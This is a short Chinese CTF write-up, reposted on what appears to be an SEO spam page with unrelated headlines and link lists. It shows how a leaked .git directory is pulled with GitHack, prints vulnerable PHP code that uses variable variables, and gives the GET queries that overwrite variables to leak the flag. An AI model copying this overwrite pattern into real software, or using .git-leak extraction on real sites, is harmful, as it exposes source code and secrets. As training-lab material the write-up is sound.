当前位置: 首页 > news >正文

小县城做网站最近一周新闻大事件

小县城做网站,最近一周新闻大事件,邢台手机网站建设地方,wordpress页面内打开题目 发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下 http://63f29a80-e08b-43ae-a6d0-8e70fb02ea…

打开题目

发现这么多链接,以为要一点点去找功能上的漏洞。当你源代码,dirsearch,抓包等等操作之后,发现什么都没有。所以这题又是一道源码泄露题,上GItHack。扫描结果如下

http://63f29a80-e08b-43ae-a6d0-8e70fb02eaa3.node5.buuoj.cn:81/.git

主要代码在index里面

<?php
 
include 'flag.php';
 
$yds = "dog";
$is = "cat";
$handsome = 'yds';
 
foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}
 
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
 
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
 
echo "the flag is: ".$flag;

根据源代码,需要通过get传参达到变量覆盖的目的。 

?yds=flag

覆盖is变量

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

Get或Post传入flag=flag,触发变量覆盖代码

foreach($_POST as $x => $y){
    $$x = $y;   //$flag=1
}
 
foreach($_GET as $x => $y){
    $$x = $$y;   
}

输出?is=flag&flag=flag

再覆盖覆盖handsome变量

handsome=flag,得到$handsome=$flag

?handsome=flag&flag=handsome

可以得到flag

http://www.zhongyajixie.com/news/36908.html

相关文章:

  • 在局域网服务器建设网站教程公司广告推广
  • 怎么给自己制作一个网站淘宝seo优化是什么
  • 湖北做网站平台哪家好百度空间登录
  • 网站建设项目报告书下载百度app最新版
  • 做著名建筑物网站简介长沙靠谱seo优化费用
  • 自学手机网站开发北京seo优化费用
  • 制作一个公司网站用vs怎么做武汉seo和网络推广
  • 什么网站可以做自考试题网络推广页面
  • 学校网站建设栏目设置市场推广和销售的区别
  • 即墨区城乡建设局网站如何制作一个简易网站
  • wordpress漏洞2019平台优化是什么意思
  • 中兴豫建设管理有限公司网站国内seo公司
  • 政府网站建设的基本情况福建省人民政府
  • 大连有几家做网站的公司免费com域名注册网站
  • 厦门在哪个网站做用工报备关键词搜索广告
  • photoshop设计一个精美的网站主页武汉百度推广外包
  • 杭州微信建站国内seo公司哪家最好
  • 杭州网站推广营销服务怎么注册百度账号
  • 移动互联网站建设搜索引擎推广的费用
  • 做免费资料分享网站会不会涉及版权谷歌seo课程
  • 品牌营销策划是什么意思在线seo推广软件
  • 沂南网站建设高端营销型网站
  • 自己做网站能宣传自己的产品吗深圳网络广告推广公司
  • 手机网站幻灯片代码湛江百度seo公司
  • 营口规划建设局网站长尾关键词挖掘爱站网
  • 哪个新闻网站做的好南昌seo排名优化
  • 服装定制怎么找厂家深圳网站设计专家乐云seo
  • 网站日志查询系统营销管理
  • 网站技术规划免费b站推广网址有哪些
  • 济南微信网站制作沈阳seo搜索引擎